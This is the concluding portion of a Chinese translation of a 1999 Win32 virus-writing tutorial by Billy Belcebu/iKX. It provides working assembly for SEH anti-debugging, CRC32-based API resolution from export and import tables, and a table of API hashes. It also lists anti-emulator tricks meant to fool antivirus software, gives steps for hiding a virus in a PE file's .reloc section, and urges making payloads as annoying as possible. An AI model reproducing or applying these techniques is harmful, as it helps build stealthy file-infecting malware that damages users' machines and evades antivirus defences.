.386p
.model flat ; Good good... 32 bit r0x0r
extrn MessageBoxA:PROC ; Defined APIs
extrn ExitProcess:PROC
.data
szTitle db "Structured Exception Handler [SEH]",0
szMessage db "Intercepted General Protection Fault!",0
.code
start:
push offset exception_handler ; Push our exception handler
; offset
push dword ptr fs:[0000h] ;
mov dword ptr fs:[0000h],esp
errorhandler:
mov esp,[esp+8] ; Put the original SEH offset
; Error gives us old ESP
; in [ESP+8]
pop dword ptr fs:[0000h] ; Restore old SEH handler
push 1010h ; Parameters for MessageBoxA
push offset szTitle
push offset szMessage
push 00h
call MessageBoxA ; Show message :]
push 00h
call ExitProcess ; Exit Application
setupSEH:
xor eax,eax ; Generate an exception
div eax
end start
;--------到这里为止剪切-------------------------------------------------------
正如在"Win32反调试"那一章所看到的，除此之外SEH还有另外一个特色:)它愚弄了大多数应用级的调试器。为 了使你的设置一个新的SEH handler更简单，这里你可以用一些宏来做做这个(hi,Jacky!):
; Put SEH - Sets a new SEH handler
pseh macro what2do
local @@over_seh_handler
call @@over_seh_handler
mov esp,[esp+08h]
what2do
@@over_seh_handler:
xor edx,edx
push dword ptr fs:[edx]
mov dword ptr fs:[edx],esp
endm
; Restore SEH - Restore old SEH handler
rseh macro
xor edx,edx
pop dword ptr fs:[edx]
pop edx
endm
它的用法非常简单。例如:
pseh <jmp SEH_handler>
div edx
push 00h
call ExitProcess
SEH_handler:
rseh
[...]
下面的代码，如果执行了，将会在'rseh'宏之后继续，而不是终止进程。清楚了吗?:)
%多线程%
~~~~~~~~
当我被告知这个可以在Win32环境很容易实现的时候，在我的脑海中的是许多它的用处:执行代码而其它的代码(也是我们病毒的)也在执行是一个美梦，因为你节约了时间:)
一个多任务的过程的主要算法是:
1.创建你想要运行的相关线程的代码
2.在父进程的代码中等待子进程结束
这个看起来很难，但是有两个API可以救我们。它们的名字：CreateThread 和 WaitForSingleObject。让我们看看Win32 API列表关于这两个API是怎么说的...
----------------------------------------
CreateThread函数在调用进程的地址空间中创建一个线程执行。
HANDLE CreateThread(
LPSECURITY_ATTRIBUTES lpThreadAttributes, // ptr to thread security attrs
DWORD dwStackSize, // initial thread stack size, in bytes
LPTHREAD_START_ROUTINE lpStartAddress, // pointer to thread function
LPVOID lpParameter, // argument for new thread
DWORD dwCreationFlags, // creation flags
LPDWORD lpThreadId // pointer to returned thread identifier
);
参数
====
?lpThreadAttributes: 指向一个确定返回句柄可以由子进程继承的SECURITY_ATTRIBUTES结构。如果lpThreadAttributes是NULL，这个句柄不 能被继承。
Windows NT: 这个结构的lpSecurityDescriptor成员指定新线程的安全描述。如果lpThreadAttributes是 NULL，这个线程获得一个缺省安全 描述。
Windows 95: 这个结构的lpSecurityDescriptor成员被忽略了。
? dwStackSize: 以字节数指定新线程的堆栈大小。如果指定了0，堆栈的大小缺省的和进程的主线程的堆栈大小一样。堆栈是在进程的内存 空 间中自动开辟的，并在线程终止的时候释放。注意如果需要的话，堆栈大小会增加。 CreateThread试图把由dwStackSize指定 的大小提交字节数，如果大小超过了可利 用的内存的话，就会失败。
?lpStartAddress:新线程的开始地址。这个通常是一个用WINAPI调用惯例声明的函数，这个函数接受一个32-bit的指针的参数，并返回一个32-bit的退出码。它的原型是:
DWORD WINAPI ThreadFunc( LPVOID );
?lpParameter: 指定一个传给线程的32-bit的参数。
? dwCreationFlags:指定控制线程创建的额外标志。如果CREATE_SUSPENDED标志被指定了，线程将以一个挂起状态创建，除非 ResumeThread函数调用，将不会运行。如果这个值是0，线程在创建之后立即运行。这次，没有其它的支持的值。
?lpThreadId: 指向一个接受线程标志的32bit变量。
返回值
======
?如果函数成功了，返回值是一个新线程的句柄。
?如果函数失败了，返回值是NULL。为了获得详细的错误信息，调用GetLastError。
Windows 95: CreateThread仅仅是在一个32-bit的上下文中的时候才成功。一个32-bit DLL不能创建一个额外的线程，当那个DLL正在被一个16-bit程序调用的时候。
----------------------------------------
WaitForSingleObject函数当如下的情况发生的时候返回:
?指定的对象在signaled状态。
?过期间隔逝去了。
DWORD WaitForSingleObject(
HANDLE hHandle, // handle of object to wait for
DWORD dwMilliseconds // time-out interval in milliseconds
);
参数
====
?hHandle:识别对象。对一个对象类型的列表，它的句柄可以指定，看看接下来的评论。
Windows NT:句柄必须有SYNCHRONIZE访问。想知道更多的信息，看看Access Masks and Access Rights(访问标志和访问权限)。
? dwMilliseconds: 指定过期间隔，以毫秒形式。如果间隔过了，甚至对象的状态是nonsignaled，这个函数就返回。如果 dwMilliseconds是0，这个函数就测试对象的状态并立即返回。如果dwMilliseconds是INFINITE这个函数从不会过期。
返回值
======
?如果函数成功了，返回值表明了导致函数返回的事件。
?如果函数失败了，返回值是WAIT_FAILED。为了获得详细的错误信息，调用GetLastError。
----------------------------------------
如果这个对你来说还不够，或者你不懂试图解释给你听的子句的话，下面给出一个多线程的ASM例子。
;-------从这里开始剪切------------------------------------------------------
.586p
.model flat
extrn CreateThread:PROC
extrn WaitForSingleObject:PROC
extrn MessageBoxA:PROC
extrn ExitProcess:PROC
.data
tit1 db "Parent Process",0
msg1 db "Spread your wings and fly away...",0
tit2 db "Child Process",0
msg2 db "Billy's awesome bullshit!",0
lpParameter dd 00000000h
lpThreadId dd 00000000h
.code
multitask:
push offset lpThreadId ; lpThreadId
push 00h ; dwCreationFlags
push offset lpParameter ; lpParameter
push offset child_process ; lpStartAddress
push 00h ; dwStackSize
push 00h ; lpThreadAttributes
call CreateThread
; EAX = Thread handle
push 00h ; 'Parent Process' blah blah
push offset tit1
push offset msg1
push 00h
call MessageBoxA
push 0FFh ; Wait infinite seconds
push eax ; Handle to wait (thread)
call WaitForSingleObject
push 00h ; Exit program
call ExitProcess
child_process:
push 00h ; 'Child Process' blah blah
push offset tit2
push offset msg2
push 00h
call MessageBoxA
ret
end multitask
;-------到这里为止剪切------------------------------------------------------
如果你测试上述代码，你将会发现，如果你单击了在子进程中的'Accept'按钮，那么你将不得不去单击在父进程中 的'Accept'按钮。是不是很有意思呀?如果父进程死了，所有相关的线程和它一起死了，但是不过子进程死了，父进程还仍然存活者。
所以看到你可以通过父进程和子进程通过WaitForSingleObject控制两个进程相当有趣。想象一下可能 性:在目录里搜索一个特定文件(如MIRC.INI)同时你在产生一个多态解密程序，并解包余下的东西...哇! ;)
看看Benny的关于Threads 和 Fibers (29A#4)的教程。
% CRC32 (IT/ET) %
~~~~~~~~~~~~~~~~~~~
好了，我们都知道(我希望是这样)怎么编写一个API搜索引擎...它相当简单，而且你有许多教程选择(JHB的, Lord Julus的，和这篇教程...)，只要得到一个，并学习它。但是，正如你意识到的，API地址占(让我们说浪费)了你 的病毒的许多字节。如果你想要编写一个小病毒，该怎么解决这个问题呢?
解决方法:CRC32
我相信GriYo是第一个使用这个技术的人，在它的令人印象深刻的 Win32.Parvo病毒中(源代 码还没有公布)。它不是搜索一个确定数量和我们代码中API名字相符的字节，而是获得所有的API名，一个接一个，并得到它们的CRC32值，把它和我们 搜索的API的CRC32值。如果它是等价的，那么我们必须总是要处理。Ok,ok...首先，你需要一些获取CRC32值的代码:)让我们用 Zhengxi的代码，首先由Vecna重新组合了，最终由我重新组合了(优化了一些字节) ;)
;------从这里开始剪切--------------------------------------------------------
;
; CRC32 procedure
; ===============
;
; input:
; ESI = Offset where code to calculate begins
; EDI = Size of that code
; output:
; EAX = CRC32 of given code
;
CRC32 proc
cld
xor ecx,ecx ; Optimized by me - 2 bytes
dec ecx ; less
mov edx,ecx
NextByteCRC:
xor eax,eax
xor ebx,ebx
lodsb
xor al,cl
mov cl,ch
mov ch,dl
mov dl,dh
mov dh,8
NextBitCRC:
shr bx,1
rcr ax,1
jnc NoCRC
xor ax,08320h
xor bx,0EDB8h
NoCRC: dec dh
jnz NextBitCRC
xor ecx,eax
xor edx,ebx
dec edi ; 1 byte less
jnz NextByteCRC
not edx
not ecx
mov eax,edx
rol eax,16
mov ax,cx
ret
CRC32 endp
;------到这里为止剪切--------------------------------------------------------
我们现在知道怎么获得一个指定的字符串或代码的CRC32值了，但是在这里你在期望另外一件事情...呵呵呵，耶!你在等待API搜索引擎的代码 :)
;------从这里开始剪切--------------------------------------------------------
;
; GetAPI_ET_CRC32 procedure
; =========================
; 呵，很难的名字?这个函数在KERNEL32的输出表中搜索一个API名字(改变一点点将会
; 使它对任何DLL有用)，但是仅仅需要API的CRC32值，不是全字符串:)还需要一个就像
; 我在上面给出的获取CRC32的例程。
;
; input:
; EAX = CRC32 of the API ASCIIz name
; output:
; EAX = API address
;
GetAPI_ET_CRC32 proc
xor edx,edx
xchg eax,edx ; Put CRC32 of da api in EDX
mov word ptr [ebp+Counter],ax ; Reset counter
mov esi,3Ch
add esi,[ebp+kernel] ; Get PE header of KERNEL32
lodsw
add eax,[ebp+kernel] ; Normalize
mov esi,[eax+78h] ; Get a pointer to its
add esi,1Ch ; Export Table
add esi,[ebp+kernel]
lea edi,[ebp+AddressTableVA] ; Pointer to the address table
lodsd ; Get AddressTable value
add eax,[ebp+kernel] ; Normalize
stosd ; And store in its variable
lodsd ; Get NameTable value
add eax,[ebp+kernel] ; Normalize
push eax ; Put it in stack
stosd ; Store in its variable
lodsd ; Get OrdinalTable value
add eax,[ebp+kernel] ; Normalize
stosd ; Store
pop esi ; ESI = NameTable VA
@?_3: push esi ; Save again
lodsd ; Get pointer to an API name
add eax,[ebp+kernel] ; Normalize
xchg edi,eax ; Store ptr in EDI
mov ebx,edi ; And in EBX
push edi ; Save EDI
xor al,al ; Reach the null character
scasb ; that marks us the end of
jnz $-1 ; the api name
pop esi ; ESI = Pointer to API Name
sub edi,ebx ; EDI = API Name size
push edx ; Save API's CRC32
call CRC32 ; Get actual api's CRC32
pop edx ; Restore API's CRC32
cmp edx,eax ; Are them equal?
jz @?_4 ; if yes, we got it
pop esi ; Restore ptr to api name
add esi,4 ; Get the next
inc word ptr [ebp+Counter] ; And increase the counter
jmp @?_3 ; Get another api!
@?_4:
pop esi ; Remove shit from stack
movzx eax,word ptr [ebp+Counter] ; AX = Counter
shl eax,1 ; *2 (it's an array of words)
add eax,dword ptr [ebp+OrdinalTableVA] ; Normalize
xor esi,esi ; Clear ESI
xchg eax,esi ; ESI = Ptr 2 ordinal; EAX = 0
lodsw ; Get ordinal in AX
shl eax,2 ; And with it we go to the
add eax,dword ptr [ebp+AddressTableVA] ; AddressTable (array of
xchg esi,eax ; dwords)
lodsd ; Get Address of API RVA
add eax,[ebp+kernel] ; and normalize!! That's it!
ret
GetAPI_ET_CRC32 endp
AddressTableVA dd 00000000h ;/
NameTableVA dd 00000000h ; > IN THIS ORDER!!
OrdinalTableVA dd 00000000h ;/
kernel dd 0BFF70000h ; Adapt it to your needs ;)
Counter dw 0000h
;------到这里为止剪切--------------------------------------------------------
下面是等价的代码，但是现在为了操作Import Table，因此使得你能够仅仅用这些API的CRC32就可以编一个Per-Process驻留病毒;)
;------从这里开始剪切--------------------------------------------------------
;
; GetAPI_IT_CRC32 procedure
; =========================
;
; 这个函数将在Import Table中搜索和传给例程的CRC32值相符的API。这个对编写一个
; Per-Process驻留病毒有用(看看这篇教程的"Per-Process residence"一章)。
;
; input:
; EAX = CRC32 of the API ASCIIz name
; output:
; EAX = API address
; EBX = Pointer to the API address in the Import Table
; CF = Set if routine failed
;
GetAPI_IT_CRC32 proc
mov dword ptr [ebp+TempGA_IT1],eax ; Save API CRC32 for later
mov esi,dword ptr [ebp+imagebase] ; ESI = imagebase
add esi,3Ch ; Get ptr to PE header
lodsw ; AX = That pointer
cwde ; Clear MSW of EAX
add eax,dword ptr [ebp+imagebase] ; Normalize pointer
xchg esi,eax ; ESI = Such pointer
lodsd ; Get DWORD
cmp eax,"EP" ; Is there the PE mark?
jnz nopes ; Fail... duh!
add esi,7Ch ; ESI = PE header+80h
lodsd ; Look for .idata
push eax
lodsd ; Get size
mov ecx,eax
pop esi
add esi,dword ptr [ebp+imagebase] ; Normalize
SearchK32:
push esi ; Save ESI in stack
mov esi,[esi+0Ch] ; ESI = Ptr to name
add esi,dword ptr [ebp+imagebase] ; Normalize
lea edi,[ebp+K32_DLL] ; Ptr to 'KERNEL32.dll'
mov ecx,K32_Size ; Size of string
cld ; Clear direction flag
push ecx ; Save ECX
rep cmpsb ; Compare bytes
pop ecx ; Restore ECX
pop esi ; Restore ESI
jz gotcha ; Was it equal? Damn...
add esi,14h ; Get another field
jmp SearchK32 ; And search again
gotcha:
cmp byte ptr [esi],00h ; Is OriginalFirstThunk 0?
jz nopes ; Damn if so...
mov edx,[esi+10h] ; Get FirstThunk
add edx,dword ptr [ebp+imagebase] ; Normalize
lodsd ; Get it
or eax,eax ; Is it 0?
jz nopes ; Damn...
xchg edx,eax ; Get pointer to it
add edx,[ebp+imagebase]
xor ebx,ebx
loopy:
cmp dword ptr [edx+00h],00h ; Last RVA?
jz nopes ; Damn...
cmp byte ptr [edx+03h],80h ; Ordinal?
jz reloop ; Damn...
mov edi,[edx] ; Get pointer of an imported
add edi,dword ptr [ebp+imagebase] ; API
inc edi
inc edi
mov esi,edi ; ESI = EDI
pushad ; Save all regs
eosz_edi ; Get end of string in EDI
sub edi,esi ; EDI = API size
call CRC32
mov [esp+18h],eax ; Result in ECX after POPAD
popad
cmp dword ptr [ebp+TempGA_IT1],ecx ; Is the CRC32 of this API
jz wegotit ; equal as the one we want?
reloop:
inc ebx ; If not, loop and search for
add edx,4 ; another API in the IT
loop loopy
wegotit:
shl ebx,2 ; Multiply per 4
add ebx,eax ; Add FirstThunk
mov eax,[ebx] ; EAX = API address
test al,00h ; Overlap: avoid STC :)
org $-1
nopes:
stc
ret
GetAPI_IT_CRC32 endp
TempGA_IT1 dd 00000000h
imagebase dd 00400000h
K32_DLL db "KERNEL32.dll",0
K32_Size equ $-offset K32_DLL
;------到这里为止剪切--------------------------------------------------------
Happy?耶，它令人震惊而且它很简单!而且，毫无疑问，如果你的病毒没有加密，你可以避免使用者的怀疑，因为没 有明显的API名字:)好了，我将列出一些API的CRC32值(包括API结束的NULL字符)，但是，如果你想要使用其它的API而不是我将要列在这 里的API，我将再放一个小程序，能给你一个ASCII字符串的CRC32值。
一些API的CRC32:
API name CRC32 API name CRC32
-------- ----- -------- -----
CreateFileA 08C892DDFh CloseHandle 068624A9Dh
FindFirstFileA 0AE17EBEFh FindNextFileA 0AA700106h
FindClose 0C200BE21h CreateFileMappingA 096B2D96Ch
GetModuleHandleA 082B618D4h GetProcAddress 0FFC97C1Fh
MapViewOfFile 0797B49ECh UnmapViewOfFile 094524B42h
GetFileAttributesA 0C633D3DEh SetFileAttributesA 03C19E536h
ExitProcess 040F57181h SetFilePointer 085859D42h
SetEndOfFile 059994ED6h DeleteFileA 0DE256FDEh
GetCurrentDirectoryA 0EBC6C18Bh SetCurrentDirectoryA 0B2DBD7DCh
GetWindowsDirectoryA 0FE248274h GetSystemDirectoryA 0593AE7CEh
LoadLibraryA 04134D1ADh GetSystemTime 075B7EBE8h
CreateThread 019F33607h WaitForSingleObject 0D4540229h
ExitThread 0058F9201h GetTickCount 0613FD7BAh
FreeLibrary 0AFDF191Fh WriteFile 021777793h
GlobalAlloc 083A353C3h GlobalFree 05CDF6B6Ah
GetFileSize 0EF7D811Bh ReadFile 054D8615Ah
GetCurrentProcess 003690E66h GetPriorityClass 0A7D0D775h
SetPriorityClass 0C38969C7h FindWindowA 085AB3323h
PostMessageA 086678A04h MessageBoxA 0D8556CF7h
RegCreateKeyExA 02C822198h RegSetValueExA 05B9EC9C6h
MoveFileA 02308923Fh CopyFileA 05BD05DB1h
GetFullPathNameA 08F48B20Dh WinExec 028452C4Fh
CreateProcessA 0267E0B05h _lopen 0F2F886E3h
MoveFileExA 03BE43958h CopyFileExA 0953F2B64h
OpenFile 068D8FC46h
你还想要其它的API吗?
你有可能需要知道其它API名字的CRC32值，所以这里我将给出小而有效的用来帮助我自己的程序，我希望对你也有帮助。
;------从这里开始剪切--------------------------------------------------------
.586
.model flat
.data
extrn ExitProcess:PROC
extrn MessageBoxA:PROC
extrn GetCommandLineA:PROC
titulo db "GetCRC32 by Billy Belcebu/iKX",0
message db "SetEndOfFile" ; Put here the string you
; want to know its CRC32
_ db 0
db "CRC32 is "
crc32_ db "00000000",0
.code
test:
mov edi,_-message
lea esi,message ; Load pointer to API name
call CRC32 ; Get its CRC32
lea edi,crc32_ ; Transform hex to text
call HexWrite32
mov _," " ; make 0 to be an space
push 00000000h ; Display message box with
push offset titulo ; the API name and its CRC32
push offset message
push 00000000h
call MessageBoxA
push 00000000h
call ExitProcess
HexWrite8 proc ; This code has been taken
mov ah,al ; from the 1st generation
and al,0Fh ; host of Bizatch
shr ah,4
or ax,3030h
xchg al,ah
cmp ah,39h
ja @@4
@@1:
cmp al,39h
ja @@3
@@2:
stosw
ret
@@3:
sub al,30h
add al,'A' - 10
jmp @@2
@@4:
sub ah,30h
add ah,'A' - 10
jmp @@1
HexWrite8 endp
HexWrite16 proc
push ax
xchg al,ah
call HexWrite8
pop ax
call HexWrite8
ret
HexWrite16 endp
HexWrite32 proc
push eax
shr eax, 16
call HexWrite16
pop eax
call HexWrite16
ret
HexWrite32 endp
CRC32 proc
cld
xor ecx,ecx ; Optimized by me - 2 bytes
dec ecx ; less
mov edx,ecx
NextByteCRC:
xor eax,eax
xor ebx,ebx
lodsb
xor al,cl
mov cl,ch
mov ch,dl
mov dl,dh
mov dh,8
NextBitCRC:
shr bx,1
rcr ax,1
jnc NoCRC
xor ax,08320h
xor bx,0EDB8h
NoCRC: dec dh
jnz NextBitCRC
xor ecx,eax
xor edx,ebx
dec edi ; 1 byte less
jnz NextByteCRC
not edx
not ecx
mov eax,edx
rol eax,16
mov ax,cx
ret
CRC32 endp
end test
;------到这里为止剪切--------------------------------------------------------
Cool，哈? :)
%反模拟(AntiEmulators)%
~~~~~~~~~~~~~~~~~~~~~~~
正如在这篇文档的许多地方，这个小章节是由Super和我合作的。这里将会有一些东西的列表，肯定会愚弄反病毒模拟系统的，一些小的调试器也不例外。Enjoy!
- 用SEH产生错误。例子:
pseh <jmp virus_code>
dec byte ptr [edx] ; <-- or another exception, such as 'div edx'
[...] <-- if we are here, we are being emulated!
virus_code:
rseh
[...] <-- the virus code :)
- 使用 CS 段前缀。 例子:
jmp cs:[shit]
call cs:[shit]
- 使用 RETF。例子:
push cs
call shit
retf
- 玩玩 DS. 例子:
push ds
pop eax
或者甚至更好:
push ds
pop ax
或者更好:
mov eax,ds
push eax
pop ds
- 用 PUSH CS/POP REG 招检测 NODiCE 模拟 :
mov ebx,esp
push cs
pop eax
cmp esp,ebx
jne nod_ice_detected
- 使用无正式文档的操作码:
salc ; db 0D6h
bpice ; db 0F1h
- 使用 Threads and/or Fibers.
我希望所有这些东西将对你有用 :)
% 写.reloc 节 %
~~~~~~~~~~~~~~~~~~~
这是一个非常有意思的东西。如果PE文件的ImageBase因为某种原因改变了，但是不是总会发生的 (99.9%),'.reloc'就非常有用了，但不是必须的。而且'.reloc'节通常非常巨大，所以为什么不使用它来存储我们的病毒呢?我建议你读 读b0z0在Xine#3上的教程，叫做"Ideas and theoryes on PE infection"，因为它提供给我们许多有意思的信息。好了，如果你想知道该怎样写.reloc节的话，只要按照如下:
+ 在节头中:
1. 把病毒的大小+它的堆赋给新的VirtualSize
2. 把对齐后的VirtualSize赋给新的SizeOfRawData
3. 清除 PointerToRelocations 和 NumberOfRelocations
4. 改变 .reloc 名字为另外一个
+ 在PE头中:
1. 清除 offset A0h (RVA to fixup table)
2. 清除 offset A4h (Size of such table)
病毒的入口将会是节的VirtualAddress。它还有时候，隐蔽的(stealthy)，因为有时候大小不增长(在不是很大的病毒中)，因为relocs通常非常巨大。
【附录1:发作】
因为我们是在一个图形化的操 作系统下工作的，我们的的发作可以更加令人印象深刻。毫无疑问，我不愿更多的象CIH和Kriz病毒那样的发作。只要看看Marburg,HPS, Sexy2,Hatred,PoshKiller,Harrier，和许多其它的病毒。它们真正令人震惊。当然了，还要看看有着多个发作的病毒，如 Girigat和Thorin.
只要想想，除非你给用户显示你的发作，用户是不会注意病毒的存在的。所以，你将要给出的情形是你工作的结晶。如果你的发作太垃圾了，你的病毒看起来也会很垃圾:)
有许多事情可做:你可以改掉墙纸，你可以改掉字符串(就象我的Legacy)，你可以给他显示主页，你可以在 Ring-0下做些幽雅的东西(就象Sexy2和PoshKiller)，等等。只要对一些Win32 API研究一下。试着把发作编得越恼人 越好:)
【附录2:关于作者】
嗨:)我把这一节给了我自己。你可以说 我自私，自大，或者hipocrite(【译者注】没见过这个词)。我知道我并不是这样的:)我只是想让你知道在这篇教程里试着教给你东西的人。我(仍 然)是一个16岁的西班牙人。而且我有自己的世界观，我有自己的政治主见，我有信念，我想我们可以做些事情来拯救当今的病态的社会。我不愿生活在生活中充 斥着钱的地方(任何生活形式，如，人类，动物，蔬菜...)，民主被政府的人曲解了(这不仅仅是西班牙的问题，在许多大国也存在，如USA,UK, Frace,等等)。民主(我想共产主义会更好，但是如果没有比民主更好的东西...)必需使得国家的居民能够选择他们的未来。哎，我厌倦在我快要发布的 东西里写这个了。看起来象在谈论一堵墙:)
OK,ok，我将谈一点我的作品。我是如下病毒(直到现在)的编写者:
+ 在DDT时,
- Antichrist Superstar [ Never released to the public ]
- Win9x.Garaipena [ AVP: Win95.Gara ]
- Win9x.Iced Earth [ AVP: Win95.Iced.1617 ]
+ 在iKX时,
- Win32.Aztec v1.00, v1.01 [ AVP: Win95.Iced.1412 ]
- Win32.Paradise v1.00 [ AVP: Win95.Iced.2112 ]
- Win9x.PoshKiller v1.00
- Win32.Thorin v1.00
- Win32.Legacy v1.00
- Win9x.Molly
- Win32.Rhapsody
还有, 从下面的变异引擎:
- LSCE v1.00 [Little Shitty Compression Engine]
- THME v1.00 [The Hobbit Mutation Engine]
- MMXE v1.00, v1.01 [MultiMedia eXtensions Engine]
- PHIRE v1.00 [Polymorphic Header Idiot Random Engine]
- iENC v1.00 [Internal ENCryptor]
而且我已经写了不少教程了，但是我不在这里列举了:)
现在，我是iKX组织的一个成员。正如你知道的，iKX代表International Knowledge eXchange。在过去，我是DDT的建立者。我称自己是反法西斯主义者，人类权利的保护者，反战主义者，而且对那些虐 待妇女和儿童的家伙非常痛恨。我只是对自己有信心，我没有任何宗教信仰。
对我来说另外一件重要的事情(除了朋友)是音乐。在写这些东西的时候，我一直在听着音乐:)
想要更多的知道我和我的作品，看看我的主页。
【结束语】
~~~~~~~~~~
好了，另外一篇教程到它的结尾了...在某些方面它有点罗嗦(嗨，我是人，我更愿意编码而不是写作)，但是在我的脑 海中总是在希望一些人在读它的时候有一些想法。正如我在介绍里所说的，这里我所列出来的几乎所有代码都是我自己写的(不象我的DOS VWGs)。我希望它对你有帮助。
我知道我没有涉及一些东西，如加一个新节的隐藏方法，或者"调用门"技术或者"VMM 插入"以进入Ring-0。我只是努力使这篇教程简单。现在你必须判断这是否是一个正确的选择。时间将会证明一切。
这篇文档献给那些从我迈出Win32编码第一步起帮助过我的人:zAxOn, Super, nIgr0, Vecna, b0z0, Ypsilon, MDriller, Qozah,Benny, Jacky Qwerty(不知不觉的帮助，无论如何...)，Lord Julus(是的，我也是从他的教程学 的!), StarZer0,和许多其他人。当然了，还需要问候的人是are Int13h, Owl, VirusBuster, Wintermute, Somniun,SeptiC, TechnoPhunk, SlageHammer,还有，毫无疑问，我热爱的读者。这是为你们写的!
- Mejor morir de pie que vivir arrodillado - (Ernesto "Che" Guevara)
Valencia, 6 of September, 1999.
(c) 1999 Billy Belcebu/iKX
全文完
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